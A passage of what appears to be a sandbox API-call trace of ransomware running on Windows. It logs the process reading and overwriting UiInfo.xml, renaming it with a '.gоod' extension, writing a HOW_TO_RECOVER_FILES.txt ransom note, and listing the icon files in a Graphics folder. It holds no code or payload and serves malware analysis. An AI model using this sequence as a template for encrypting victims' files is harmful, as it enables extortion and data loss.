lpBuffer="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpFilePart=0x0) returned 0x29 [0119.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0119.244] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x357f1a8 | out: lpFileInformation=0x357f1a8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a)) returned 1 [0119.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0119.244] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpFilePart=0x0) returned 0x29 [0119.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0119.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0119.245] GetFileType (hFile=0x6e8) returned 0x1 [0119.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0119.245] GetFileType (hFile=0x6e8) returned 0x1 [0119.245] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0119.245] ReadFile (in: hFile=0x6e8, lpBuffer=0x357f540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x357f540*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0119.539] CloseHandle (hObject=0x6e8) returned 1 [0119.540] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpFilePart=0x0) returned 0x29 [0119.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0119.540] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0119.540] GetFileType (hFile=0x6e8) returned 0x1 [0119.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0119.540] GetFileType (hFile=0x6e8) returned 0x1 [0119.540] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x988a [0119.540] WriteFile (in: hFile=0x6e8, lpBuffer=0x33d6388*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x33d6388*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0119.541] CloseHandle (hObject=0x6e8) returned 1 [0119.541] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpFilePart=0x0) returned 0x29 [0119.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0119.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0119.541] GetFileType (hFile=0x6e8) returned 0x1 [0119.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0119.541] GetFileType (hFile=0x6e8) returned 0x1 [0119.541] ReadFile (in: hFile=0x6e8, lpBuffer=0x33d90a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x33d90a8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0119.569] CloseHandle (hObject=0x6e8) returned 1 [0119.569] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpFilePart=0x0) returned 0x29 [0119.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0119.569] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0119.569] GetFileType (hFile=0x6e8) returned 0x1 [0119.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0119.569] GetFileType (hFile=0x6e8) returned 0x1 [0119.569] WriteFile (in: hFile=0x6e8, lpBuffer=0x33d7e40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x33d7e40*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0119.569] CloseHandle (hObject=0x6e8) returned 1 [0119.570] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpFilePart=0x0) returned 0x29 [0119.570] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.gоod", lpFilePart=0x0) returned 0x2e [0119.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0119.570] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x437a6570, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x989a)) returned 1 [0119.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0119.570] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.gоod")) returned 1 [0119.571] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0119.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0119.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0119.572] GetFileType (hFile=0x6e8) returned 0x1 [0119.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0119.572] GetFileType (hFile=0x6e8) returned 0x1 [0119.573] WriteFile (in: hFile=0x6e8, lpBuffer=0x3457ec0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x3457ec0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0119.574] CloseHandle (hObject=0x6e8) returned 1 [0119.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0119.574] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics", lpFilePart=0x0) returned 0x1e [0119.574] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0120.301] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.301] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0120.302] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0120.303] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0120.303] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0120.303] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0120.303] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0120.303] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0120.303] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0120.303] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0120.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0120.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0120.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0120.304] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics", lpFilePart=0x0) returned 0x1e [0120.304] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0120.305] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.305] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0120.305] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0120.305] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0120.306] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0120.306] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0120.306] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0120.306] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0120.306] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0120.306] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", 